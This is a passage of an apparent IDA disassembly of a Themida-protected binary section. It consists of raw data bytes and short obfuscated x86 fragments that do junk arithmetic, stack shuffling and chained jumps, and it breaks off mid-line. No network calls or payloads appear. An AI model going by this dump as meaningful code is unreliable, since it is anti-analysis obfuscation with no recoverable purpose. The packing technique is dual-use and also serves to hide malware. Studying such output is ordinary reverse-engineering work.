--------------------------------------------------------------------------- db 58h dd 8304C483h, 0D4E904C4h, 0F7FFFF67h, 0EEED81D5h, 100E99Fh dd 66DE9E9h, 0C6810000h, 4, 0FF1A01E9h, 242C89FFh, 4EC81h dd 2C890000h, 81E58924h, 4C5h, 9DE95200h, 57000053h, 0FFDF7FE9h dd 25F480FFh, 742968h, 241C8900h, 0A8E9A6B3h, 8B000044h dd 0C481240Ch, 4, 0E949C380h, 0FFFF168Bh db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_5563C2 ; --------------------------------------------------------------------------- loc_5619B8: ; CODE XREF: Themida_:0055B0CFj add edi, 25F24686h push edi push dword ptr [esp] jmp loc_563BF9 ; --------------------------------------------------------------------------- loc_5619C7: ; CODE XREF: Themida_:00567678j inc edi jmp loc_556D66 ; --------------------------------------------------------------------------- db 0E9h, 66h, 12h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5619D2: ; CODE XREF: Themida_:0055FD8Bj pop esp jmp loc_55A508 ; --------------------------------------------------------------------------- dd 69085FBBh, 0A049E94Fh, 3EBDFFFFh, 815CCD76h, 0F9516FCDh dd 0E3C58127h, 814E796Fh, 5A7B84C5h, 0D9C58126h, 81611F5Ch dd 2A8EF2F5h, 5DE8013Bh, 2A001F05h, 296C057Ch, 0EC814FDBh dd 4, 0FFF610E9h, 1C77FFFFh, 6659669Dh, 9C241CD3h, 0FFFFA0E9h dd 895159FFh, 4C181E1h, 83000000h, 0C8704C1h, 71CAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A42: ; CODE XREF: Themida_:005556A9j add edx, 4 push ecx mov ecx, esp jmp loc_55E029 ; --------------------------------------------------------------------------- loc_561A50: ; CODE XREF: Themida_:0055D866j sub edx, ebx add edx, 626A7534h push edi mov edi, 287724A0h neg edi shr edi, 7 xor edi, 6F953006h add edx, 7DDF1D4Bh jmp loc_5675A9 ; --------------------------------------------------------------------------- loc_561A74: ; CODE XREF: Themida_:005596C3j xchg ecx, [esp] jmp loc_5581B2 ; --------------------------------------------------------------------------- dd 2434FF5Bh, 83243C8Bh, 966804C4h, 8900007Fh, 0E189240Ch dd 0FF18E6E9h, 240489FFh, 0E953C888h, 0FFFF5B4Eh, 4240483h dd 1E4BE9h, 4005AD00h, 56362B1Dh, 2B59E1BEh, 55F6813Eh dd 0E90C8C67h, 11B8h, 8350E689h, 3C8904ECh, 4BF24h, 0F8890000h dd 58C6015Fh, 0FFA1A8E9h, 0E9F131FFh, 567Dh ; --------------------------------------------------------------------------- loc_561AE0: ; CODE XREF: Themida_:005669EAj xor ebx, 7F0F71A1h xor ebx, 59F7D5Fh and ebx, 4AFA6AE1h and ebx, 388464C7h jmp loc_55A0A1 ; --------------------------------------------------------------------------- loc_561AFD: ; CODE XREF: Themida_:0055847Cj sub edx, 9C92D35h mov esi, [esp] jmp loc_5596B7 ; --------------------------------------------------------------------------- loc_561B0B: ; CODE XREF: Themida_:00557B61j add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_56466D ; --------------------------------------------------------------------------- dd 2EC5C281h, 0C2014716h, 2EC5EA81h, 81584716h, 445E3EC2h dd 81C20175h, 445E3EEAh, 53BE5675h, 0F7562C67h, 6D8668DEh dd 4890000h, 3E1AB824h, 0D8F7308Ch, 0D8F7D0F7h, 0FF65CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_561B59: ; CODE XREF: Themida_:00557BBDj mov ebx, ebp mov ebp, [esp] add esp, 4 pop edx jmp loc_559484 ; --------------------------------------------------------------------------- aNsr db 'éà]',0 align 10h dd 0C281E289h, 4, 1A65E9h, 0B5516600h, 66EB2025h, 0E9240C8Bh dd 0FFFF8BB2h, 0BA7D390Dh, 31F0315Fh, 0F7F031C6h, 6441E9D6h dd 0E2C1FFFFh, 0E365E906h, 148BFFFFh, 4C48324h, 0FF8D5BE9h dd 0D1DDF7FFh, 68E581EDh, 811AD50Eh, 9134E8F5h, 1240E976h dd 6DE9FFFFh, 5DFFFF10h, 0DE94F581h, 9EE95604h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BD7: ; CODE XREF: Themida_:0055E0D3j mov [esp], edx sub esp, 4 mov [esp], ebx pop edx push eax mov eax, esp push ecx jmp loc_55C8EB ; --------------------------------------------------------------------------- db 40h, 0D1h, 0E8h dd 0C1FFC083h, 9BE907E8h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BFB: ; CODE XREF: Themida_:00564759j push 59CBh mov [esp], ecx mov ecx, 65823C31h jmp loc_55520F ; --------------------------------------------------------------------------- db 2Dh, 1, 0 dd 0E0C10000h, 693A0D06h, 0AF2D5A8Bh, 170F3D4h, 0EF8158C7h dd 2E105B14h, 0FF60CCE9h, 0CF295CFFh, 5FBCE959h, 8B660000h dd 9B68240Ch, 89000075h, 0EC83243Ch, 24248904h, 0FF6E1EE9h dd 5EBC1FFh, 2AAD6850h, 0E9585289h, 0FFFFB4BBh, 4BA52h dd 0E9810000h, 0E9F28E4h, 0C181D101h, 0E9F28E4h, 529EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_561C76: ; CODE XREF: Themida_:0056541Cj add esp, 4 not ebx inc ebx push ebx push edx jmp loc_552E3C ; --------------------------------------------------------------------------- dw 1068h dd 594F5B07h, 0E981D1F7h, 99558C27h, 8159CB89h, 0E6040CC3h dd 45EB874Ah, 0D3F7EB87h, 0C381D3F7h, 796D10C5h, 0BF1BF381h dd 0DE31DBBBh, 81241C8Bh, 4C4h, 0A4C58100h, 8139453Ah dd 8631E9EDh, 0E9F50144h, 0FFFF91D0h ; --------------------------------------------------------------------------- loc_561CD0: ; CODE XREF: Themida_:0055D68Fj add eax, 0FFFFFFFFh shr eax, 3 jmp loc_559C60 ; --------------------------------------------------------------------------- loc_561CDD: ; CODE XREF: Themida_:00557EBFj mov esi, [esp] add esp, 4 add ebx, 15365F95h add ebx, edi sub ebx, 15365F95h push ebp jmp loc_557C98 ; --------------------------------------------------------------------------- loc_561CF7: ; CODE XREF: Themida_:0055C07Cj mov cl, 0B5h sub dl, cl jmp loc_561EE5 ; --------------------------------------------------------------------------- loc_561D00: ; CODE XREF: Themida_:00563F3Ej add edx, 12848FEh add esi, edx jmp loc_55F0F4 ; --------------------------------------------------------------------------- db 68h, 0A9h, 0Dh dd 3C890000h, 50C3BF24h, 23E963AEh db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D1F: ; CODE XREF: Themida_:00553020j pop eax pop ebx jmp loc_5668D3 ; --------------------------------------------------------------------------- dw 0FA31h dd 95B9515Fh, 814AFE70h, 0EF2AA9F1h, 59CA2997h, 31E9E9h db 0 ; --------------------------------------------------------------------------- loc_561D3D: ; CODE XREF: Themida_:005650B7j mov ebp, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 32A32E5Ch jmp loc_56733F ; --------------------------------------------------------------------------- db 54h dd 8124048Fh, 42404h, 815D0000h, 4C5h, 2A685600h, 89000018h dd 5ABD242Ch, 891A1B58h, 8E0AE9EEh, 0FF53FFFFh, 5B042474h dd 5C24048Fh, 8B24048Fh, 41E92424h, 0E9000038h, 0FFFF0EA4h dd 6FBF57h, 4E94137h, 0BDFFFF71h, 6F873E1Bh, 55DE829h dd 5AEAF286h, 560EE9h db 0 ; --------------------------------------------------------------------------- loc_561DB1: ; CODE XREF: Themida_:0056391Fj shr esi, 4 add esi, 1 push ebx mov ebx, 79DFE910h xor esi, ebx pop ebx jmp loc_5568AE ; --------------------------------------------------------------------------- db 66h, 9, 4 dd 5AE99C24h, 81FFFF33h, 166A8FEBh, 2EED817Dh, 119D844h dd 2EC581DDh, 5B19D844h, 5504C583h, 4B9DE9h, 2474FF00h dd 2434FF04h, 477BE9h, 0BB534A00h, 51885110h, 35DEE381h dd 0DBF705CFh, 4447E9h, 37A2BF00h, 47E944FEh, 5CFFFFA2h dd 594FE981h, 0BD55160Eh, 16FDEFD8h, 55FDBB53h, 0CB8114CEh dd 0A8F6CD0h, 6B55EB81h, 0D3F77885h, 0EB81DBF7h, 8A6EFD51h dd 3C75E981h, 0D9015FCBh, 3C75C181h, 295B5FCBh, 0CAE956E9h dd 68FFFFDBh, 5860h, 43CBE9h, 5E08900h, 4, 4BA52h, 0D0010000h dd 74FF505Ah, 8F580424h, 76E92404h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E7F: ; CODE XREF: Themida_:005566E9j pop ecx add ecx, 2D5430D7h mov eax, [esp] add esp, 4 xor esi, ecx pop ecx jmp loc_55D415 ; --------------------------------------------------------------------------- db 81h dd 265A95E1h, 1DF2E90Bh, 0EC83FFFFh, 24148904h, 857E5BBAh dd 9ABF572Eh, 295EDB19h, 0D5DE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561EBA: ; CODE XREF: Themida_:005649FCj push edi mov edi, 4 sub esi, edi jmp loc_5609F9 ; --------------------------------------------------------------------------- loc_561EC7: ; CODE XREF: Themida_:00565C15j mov edx, 61F43483h jmp loc_55CCC6 ; --------------------------------------------------------------------------- db 0B9h, 8Ch, 0Fh dd 2DE91F0Dh, 80FFFF2Eh, 5166CCF3h, 2B37E9h db 0 ; --------------------------------------------------------------------------- loc_561EE5: ; CODE XREF: Themida_:00561CFBj pop ecx add dl, 0F8h mov ecx, [esp] add esp, 4 sub bl, dl mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax push 723E4BD6h mov eax, [esp] add esp, 4 jmp loc_55B615 ; --------------------------------------------------------------------------- loc_561F13: ; CODE XREF: Themida_:0055A830j push 18DFh mov [esp], edx mov edx, 2D4C0BC8h jmp loc_55CC35 ; --------------------------------------------------------------------------- loc_561F25: ; CODE XREF: Themida_:00556343j mov cx, [esp] jmp loc_55E2E1 ; --------------------------------------------------------------------------- loc_561F2E: ; CODE XREF: Themida_:00553C35j push dword ptr [esp] pop edx add esp, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp loc_561F45: ; CODE XREF: Themida_:loc_55D72Cj push 6824h jmp loc_55AF71 ; --------------------------------------------------------------------------- loc_561F4F: ; CODE XREF: Themida_:0055EF13j add esi, 77D62B8h jmp loc_55E186 ; --------------------------------------------------------------------------- loc_561F5A: ; CODE XREF: Themida_:00560DA4j sub esi, 0AB27EEAEh mov eax, esi jmp loc_55DD72 ; --------------------------------------------------------------------------- loc_561F67: ; CODE XREF: Themida_:00567454j push 7974h jmp loc_55D8D2 ; --------------------------------------------------------------------------- db 31h, 0D8h, 5Bh dd 0FFA4A4E9h, 0F0EF80FFh, 0F8009B2Ch, 6D01E952h, 28FFFFFh dd 0FF0CABE9h, 241C8BFFh, 8904C483h, 78E95AD7h, 31FFFF7Bh dd 0E9C231D0h, 0FFFFA7C3h, 242C875Eh, 6624248Bh, 0E9240489h dd 0FFFF0C84h ; --------------------------------------------------------------------------- loc_561FB4: ; CODE XREF: Themida_:00562B75j add edx, 641A6C99h jmp loc_555F82 ; --------------------------------------------------------------------------- db 5Dh dd 8704C183h, 515C240Ch, 887FB252h, 0B7535AD1h, 66CFFE58h dd 9BB35352h, 305BDE88h, 148B66F7h, 2C48124h, 0C0000000h dd 0DFF604EFh, 8033B551h, 0DDF62BE5h, 8006C580h, 0ED8089F5h dd 0F7A4E9EEh, 0C87FFFFh, 14895C24h, 0E3895324h, 0FF7B9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_562011: ; CODE XREF: Themida_:0055918Aj push ebp not dword ptr [esp] pop ebp xchg ebp, [esp] pop esi jmp loc_563383 ; --------------------------------------------------------------------------- db 51h dd 8001B652h, 0EEC0A0C6h, 0C0CEFE02h, 0E9E904E6h, 59FFFFDCh dd 2474FF57h, 48F5F04h, 8B665C24h, 54502404h, 0FFCDC3E9h dd 24048FFFh, 0E5E95B5Ch db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562053: ; CODE XREF: Themida_:00567759j pop esp jmp loc_56507B ; --------------------------------------------------------------------------- db 5Bh, 0F7h, 0DBh dd 366CCB81h, 535515C0h, 7045B2BBh, 3BE9E96Bh, 0EB81FFFFh dd 38D66B2Fh, 241C875Fh, 6624248Bh, 9C243CD3h, 0FF9520E9h db 0FFh ; --------------------------------------------------------------------------- loc_562085: ; CODE XREF: Themida_:0055A5D1j pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_554BB3 ; --------------------------------------------------------------------------- dw 1C87h dd 0EFC05C24h, 0ABCF8002h, 0FDB05052h, 0FF2D22E9h, 3128B9FFh dd 0F1817157h, 0AAE6E2Dh, 227CC981h, 9DE93D39h, 68FFFF40h dd 3755h, 56240C89h, 0FFBA03E9h, 5FD3BDFFh, 94BB2E63h dd 111ED1Ch, 4D9DE9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5620E6: ; CODE XREF: Themida_:00555313j add edi, ebx pop ebx add edi, 5C23358Fh sub edi, 0C0EA068Fh jmp loc_556070 ; --------------------------------------------------------------------------- dw 0E6C1h dd 5EEC106h, 407B68h, 420AE900h, 96B90000h, 81365D63h dd 6B1A64E9h, 59CE29D0h, 37B3F681h, 53E927A5h, 66FFFFBEh dd 68240C8Bh, 4F94h, 54241489h, 8B2434FFh, 0C4832414h dd 0E0895004h, 405h, 3D3DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562146: ; CODE XREF: Themida_:00560CC3j add ebp, 4 xor ebp, [esp] jmp loc_564CFB ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0FF557BE9h, 76B850FFh, 0D1267B4Ch, 0F110E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562166: ; CODE XREF: Themida_:0055CBAFj add edx, 67692954h push ebp mov ebp, 33D32D8Bh jmp loc_56593F ; --------------------------------------------------------------------------- db 50h dd 6E243481h, 5E65771Eh, 1E6EF681h, 29586577h, 0F742E9F0h dd 0E7C0FFFFh, 0DFB65205h, 0F65AF728h, 1EB652DFh, 10E9F730h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621A3: ; CODE XREF: Themida_:005590B6j sub ebp, 4B3A69BAh push esi jmp loc_55978A ; --------------------------------------------------------------------------- db 0FFh dd 19E92434h, 0FDFFFF20h, 0A6852h, 148B0000h, 0E2895224h dd 4C281h, 0BE560000h, 30940D58h, 2229EE81h, 0E6812AC9h dd 0CEA6436h, 0ABB68h, 240C8900h, 0FFFF21E9h, 242489FFh dd 4240481h, 5D000000h, 4C581h, 0E9570000h, 258Dh, 662F3EB9h dd 59CF8970h, 57D7F74Fh, 0F7243487h, 243487D6h, 5F2404FFh dd 4F50CF81h, 0E956576Fh, 0FFFF6338h, 485BED81h, 0E5C100D2h dd 0E5F58105h, 45282379h, 0C7D7F581h, 95E90C5Eh, 8BFFFF27h dd 7A68240Ch, 8900006Bh, 95E9242Ch, 59000040h, 8853515Ah dd 5BDD88C3h, 88EB8853h, 0C8B5BDEh, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 24048B5Ch, 8B04C483h, 0C481241Ch dd 4, 202768h, 240C8900h, 0C180DBB1h, 2536E90Dh, 0E953FFFFh dd 0FFFF6663h, 5C241C87h, 9853E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622A2: ; CODE XREF: Themida_:00553822j xchg ecx, [esp] jmp loc_5644E2 ; --------------------------------------------------------------------------- loc_5622AA: ; CODE XREF: Themida_:00565117j push 21F25ED0h pop ecx mov esi, ecx pop ecx push ebp jmp loc_55F51A ; --------------------------------------------------------------------------- db 47h, 81h, 0C7h dd 0AD8C57EBh, 3C8BF829h, 4C48124h, 89000000h, 24048BC6h dd 4C481h, 53560000h, 2038A9BBh, 245C014Ah, 9EE95B04h dd 5D000051h, 5C24048Fh, 0E9C8B70Fh, 373Bh, 18A838BBh dd 5BDA0113h, 5C4FEB81h, 0D3294EB9h, 5C4FC381h, 95A4EB9h dd 34FF1C5Fh, 241C8B24h, 8104C483h, 4C4h, 916E900h, 0CA81FFFFh dd 9B72DBEh, 241AEA81h, 56503A14h, 0FFEA74E9h, 8CE951FFh dd 89FFFF5Ch, 4812424h, 424h, 2434FF00h, 0E924348Bh, 0FFFF6423h ; --------------------------------------------------------------------------- loc_562350: ; CODE XREF: Themida_:00553D55j pop esi push esi mov esi, 0FFFFFFFFh add ebp, esi pop esi push eax mov eax, 17938752h xor ebp, eax push dword ptr [esp] jmp loc_55BC22 ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 0FF3E6DE9h, 2434FFFFh, 2425E95Bh, 0E95D0000h dd 278Ah, 0C781DFF7h, 98B08BBh, 487AF781h, 81474136h, 0E31D0CE7h dd 8EF816Eh, 16C8008h, 0CC73E9FEh, 0B353FFFFh, 8364E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623AE: ; CODE XREF: Themida_:005663ECj mov ebx, [esp] jmp loc_556AF9 ; --------------------------------------------------------------------------- dw 0B951h dd 4D180B82h, 6AC18149h, 0E91EA7F9h, 0FFFF270Ch ; --------------------------------------------------------------------------- loc_5623C8: ; CODE XREF: Themida_:00556732j mov [esp], esi push esp pop esi push edi mov edi, 4 add esi, edi pop edi jmp loc_5583A6 ; --------------------------------------------------------------------------- db 29h dd 12B22DE8h, 0BD5547A0h, 7E600582h, 0FFE83CE9h, 58C781FFh dd 530D9278h, 81F843BBh, 0E9DF310Dh, 0FFFF3E3Dh ; --------------------------------------------------------------------------- loc_562400: ; CODE XREF: Themida_:005571F3j pop edi add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_552DE6 ; --------------------------------------------------------------------------- dw 8B66h dd 0E0E9240Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_562417: ; CODE XREF: Themida_:00558112j push edx jmp loc_554BC4 ; --------------------------------------------------------------------------- db 9, 0D5h, 0E9h dd 0FFFFC150h, 5020355Fh, 0BAE94C02h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56242F: ; CODE XREF: Themida_:005573ADj xchg ebp, [esp] mov esp, [esp] mov [esp], edx push ecx mov ecx, 5AAC5FACh jmp loc_5549E1 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4EC81h, 1C890000h, 4C5DE924h, 0D901FFFFh dd 83241C8Bh, 0C18104C4h, 28F149ECh, 0A9E9C101h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56246B: ; CODE XREF: Themida_:005577ECj push ebx push edx mov edx, 2486038Bh mov ebx, edx pop edx or esi, ebx pop ebx add esi, 3D3CC098h add ebp, 0A20349h add ebp, esi sub ebp, 0A20349h pop esi mov eax, ebp push dword ptr [esp] mov ebp, [esp] push eax jmp loc_5672C6 ; --------------------------------------------------------------------------- db 81h dd 0EB28A6C2h, 0F049E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5624A6: ; CODE XREF: Themida_:00559835j mov [esp], edx jmp loc_55BD1D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 1DE95157h, 68FFFFCFh, 5E0Eh, 52240C89h, 0FF7C9FE9h dd 81E289FFh, 4C2h, 4BD5500h, 1000000h, 0A24E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5624DE: ; CODE XREF: Themida_:00563A9Fj push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5531C8 ; --------------------------------------------------------------------------- db 42h dd 0FFA8EEE9h, 81EE01FFh, 0D5587BEEh, 0EC815D4Fh, 4, 0FF243489h dd 0FF042474h, 835E2434h, 48F04C4h, 24248B24h, 9CC88566h dd 0FF070FE9h db 0FFh ; --------------------------------------------------------------------------- loc_562529: ; CODE XREF: Themida_:00567C9Bj add esp, 4 shl ecx, 7 xor ecx, 51A40000h jmp loc_55CCB0 ; --------------------------------------------------------------------------- loc_56253D: ; CODE XREF: Themida_:0055FCC2j mov eax, 45906AEBh add eax, 0BA6F9519h add ebx, eax jmp loc_56293E ; --------------------------------------------------------------------------- loc_56254E: ; CODE XREF: Themida_:00566200j add ecx, 292A28A6h push edi mov edi, 6DD81FD9h push ebp mov ebp, 6C78EE54h sub edi, ebp pop ebp and edi, 61DC0973h jmp loc_5603F2 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 5C243C87h, 0E99CC83Bh, 0FFFF06B8h ; --------------------------------------------------------------------------- loc_562580: ; CODE XREF: Themida_:0055D1E2j add edi, esi pop esi jmp loc_558A3F ; --------------------------------------------------------------------------- dd 23D3C781h, 0F80986B5h, 8E9555Fh, 31FFFFF8h, 52E92434h dd 0B9FFFF58h, 43324922h, 0F181D1F7h, 0DDE2E98Eh, 8159CB21h dd 9D51F8C3h, 0E026E926h, 48BFFFFh, 4C48324h, 0C8E9EB00h dd 0BEFFFFF3h, 0BCF369Ah, 0FF3BF1E9h, 405FFh, 0E2680000h dd 89000007h, 0C868242Ch, 5D60CF43h, 0E5C1D5F7h, 38E95706h dd 8BFFFFD7h, 0C483240Ch, 0B647E904h, 0EC81FFFFh, 4, 68243489h dd 7321h, 68240489h, 3AEA7B56h, 8BC68958h, 0C4812404h dd 4, 0B02BA52h, 0ADE90AFCh, 66FFFF8Ah, 8324048Bh, 48904ECh dd 11E95424h, 66FFFFD0h, 68240C8Bh, 7BC1h, 54243489h, 0FF6E6CE9h dd 243C89FFh, 490968h, 241C8900h, 0FF3420E9h, 895659FFh dd 0F2F0E9E6h, 0C89FFFFh, 0E9E18924h, 0FFFF9AA0h, 0D9C58145h dd 0E9135320h, 0FFFF60B3h, 8B665A66h, 49682414h, 8900001Bh dd 8B54243Ch, 0C481243Ch, 4, 57BF5755h, 0E9411C09h, 17B3h ; --------------------------------------------------------------------------- loc_56269C: ; CODE XREF: Themida_:0055B2D6j add esp, 4 add [esp+4], ecx jmp loc_565CC3 ; --------------------------------------------------------------------------- db 5 dd 51DD25C6h, 0F32CE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626B6: ; CODE XREF: Themida_:00566835j add edx, esi pop esi jmp loc_565C50 ; --------------------------------------------------------------------------- dw 0EF81h dd 128A3D18h, 6825C781h, 0B9516245h, 6C653A83h, 316DE181h dd 0BF577B91h, 35B936C7h, 39B9C181h, 4E92C61h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626E7: ; CODE XREF: Themida_:0055C9A2j mov esp, [esp] push ebp jmp loc_554886 ; --------------------------------------------------------------------------- dd 8E1C15Fh, 5E04F181h, 0CB8956E5h, 245C0159h, 0E1E95B04h dd 54FFFF07h, 4EC835Eh, 0E9240C89h, 0FFFF8438h, 4EC81h dd 24E90000h, 83FFFFFDh, 0EC8104C4h, 4, 89240489h, 405E0h dd 0E5E90000h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562737: ; CODE XREF: Themida_:005651A0j or eax, eax jz loc_55806A push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_55601D ; --------------------------------------------------------------------------- dw 0E983h dd 240C8704h, 2414895Ch, 50575A54h, 0A74A8168h, 24048B0Ah dd 0E904C483h, 0FFFF4EB1h, 895461BFh, 8E7C168h, 0FF9F5EE9h dd 0C68166FFh, 5665450h, 2966511Eh, 1E2D66F0h, 266DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56278A: ; CODE XREF: Themida_:0055FFDAj xor esi, 837F9D09h xor [esp+4], esi pop esi push dword ptr [esp] jmp loc_56159E ; --------------------------------------------------------------------------- loc_56279D: ; CODE XREF: Themida_:00560D1Cj sub ebp, 55D25ED2h add eax, 201534D2h add eax, ebp sub eax, 201534D2h jmp loc_5615E2 ; --------------------------------------------------------------------------- loc_5627B4: ; CODE XREF: Themida_:00552E6Ej shl al, 5 or al, 0FAh add al, 95h mov dh, al pop eax and dh, 0A8h add dh, 0E8h push ecx mov ch, 69h jmp loc_55BD83 ; --------------------------------------------------------------------------- dd 42474FFh, 0B3ECE95Ah, 489FFFFh, 8391B024h, 1C8904ECh dd 0A509E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5627E6: ; CODE XREF: Themida_:00558597j add esp, 4 add ecx, edi mov [ecx], al push dword ptr [esp] pop ecx jmp loc_55E92E ; --------------------------------------------------------------------------- loc_5627F6: ; CODE XREF: Themida_:0055CBA5j shr eax, 0Ch xor eax, ecx xor eax, ebx jmp loc_555580 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 2C181h, 0C330000h, 240C3124h, 0FF839EE9h, 5FF989FFh dd 0BB53D1F7h, 0FCA22EBh, 815BD929h, 2E0506C3h, 81CB0159h dd 2E0506EBh, 2434FF59h, 0FF8989E9h, 4C481FFh, 81000000h dd 4C4h, 34DAE900h, 9D2C0000h, 0FFCEABE9h, 4BEFFh, 74010000h dd 5B5E0424h, 4C381h, 1E90000h, 31FFFFD5h, 24048BC6h, 8304C483h dd 0EEC1FFEEh, 2B95106h, 837CBD34h, 70E904ECh, 38FFFF95h dd 0A9E99CC1h, 68FFFF03h, 77C0h, 0F7240C89h, 57592414h dd 0DE3354BFh, 4A2FE943h, 0C3810000h, 4, 0E904C383h, 0FFFFAD19h dd 423FC281h, 2C8B1137h, 4C48124h, 83000000h, 143304C2h dd 24143124h, 5C241433h, 0FF5EC4E9h, 0B8FFh, 0F12D0000h dd 0E9447C1Ah, 0FFFFE7CEh, 56A3C681h, 0CE813F64h, 7C4B5EAFh dd 22D1E681h, 0C6811A34h, 5BDB0615h, 0FFCCB9E9h, 5BDE89FFh dd 354DC681h, 0E6815666h, 2A480A4Ch, 840EE81h, 0C5810848h dd 742F0704h, 0ED81F501h, 742F0704h, 0FF0E6FE9h, 55D9F7FFh dd 645AB7BDh, 81DDF755h, 74076EF5h, 5C81E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56293E: ; CODE XREF: Themida_:00562549j mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_552C38 ; --------------------------------------------------------------------------- db 51h, 68h, 0C4h dd 594EB307h, 0FFB928E9h, 3DF781FFh, 810B436Eh, 0C00C0FE7h dd 88F7815Eh, 292F6E5Fh, 0F74A5FFAh, 19F3E9D2h, 0FB010000h dd 1C8B038Bh, 4C48324h, 0E4FE9h db 0 ; --------------------------------------------------------------------------- loc_562985: ; CODE XREF: Themida_:005567FEj push ebp mov ebp, esp jmp loc_567845 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 6DFE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562996: ; CODE XREF: Themida_:00553ACAj shr bl, 1 jmp loc_5614DA ; --------------------------------------------------------------------------- loc_56299D: ; CODE XREF: Themida_:00552D3Ej shr edi, 3 jmp loc_553914 ; --------------------------------------------------------------------------- loc_5629A5: ; CODE XREF: Themida_:005567BAj pop eax add eax, 57454CD9h add eax, 60760345h inc eax xor eax, 5F502B5Dh sub ebx, eax pop eax add ebx, 66B34661h add ebx, eax sub ebx, 66B34661h add ebx, 36807E5h push 191Ah mov [esp], edi push ebp mov ebp, 253139BBh mov edi, 5BBA547Dh xor edi, ebp pop ebp shr edi, 1 push 5C9Fh mov [esp], edx push 44FC4378h jmp loc_56734A ; --------------------------------------------------------------------------- db 68h dd 231Dh, 83243C89h, 248904ECh, 24048324h, 243C8B04h, 4C481h dd 89510000h, 4C181E1h, 55000000h, 0FF6CA7E9h, 4CE950FFh dd 81FFFFDBh, 0DA994AF5h, 5DEA29EDh, 0FFC699E9h db 0FFh ; --------------------------------------------------------------------------- loc_562A35: ; CODE XREF: Themida_:00558FE6j pop edi pop ebx jmp loc_5646B7 ; --------------------------------------------------------------------------- dd 6824048Bh, 790Ah, 0FFEC74E9h db 0FFh ; --------------------------------------------------------------------------- loc_562A49: ; CODE XREF: Themida_:00556593j pop esp mov [esp], edi push 1 jmp loc_5602DA ; --------------------------------------------------------------------------- db 81h dd 19AF3BC6h, 8BF529A8h, 0EAE92434h, 0B9FFFF65h, 3EF4234Fh dd 23F5F181h, 0E9814794h, 738879E9h, 0B001C181h, 0CF096F5Fh dd 0F833E959h, 50ADFFFFh, 0DB7EE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A8E: ; CODE XREF: Themida_:005544C7j sub esp, 4 mov [esp], ebp mov ebp, 77011262h jmp loc_55A835 ; --------------------------------------------------------------------------- dw 5066h dd 0FF3BBDE9h, 24248BFFh, 0B6BD5550h, 17FC730h, 0FF04246Ch dd 555D2434h, 0E9535D54h, 0FFFFAF35h ; --------------------------------------------------------------------------- loc_562AC0: ; CODE XREF: Themida_:0055304Dj mov ebx, 4 jmp loc_56403A ; --------------------------------------------------------------------------- dw 5159h dd 0FFDAFAE9h, 8B585BFFh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx mov bl, ch mov [eax], bl push dword ptr [esp] mov ebx, [esp] add esp, 4 push 16E3h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_559FB7 ; --------------------------------------------------------------------------- dw 0F681h dd 36384870h, 0DEF7D6F7h, 0F2B3EE81h, 0F331C059h, 7FBE565Eh dd 29000134h, 0E9505EF3h, 0FFFF9FF1h, 8DD9E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B36: ; CODE XREF: Themida_:00566E12j sub esp, 4 mov [esp], eax push ebx jmp loc_5594CA ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0EC83E589h, 24348904h, 42F268h, 241C8900h, 65272768h dd 241C8B06h, 0E904C483h, 0FFFFFD99h ; --------------------------------------------------------------------------- loc_562B68: ; CODE XREF: 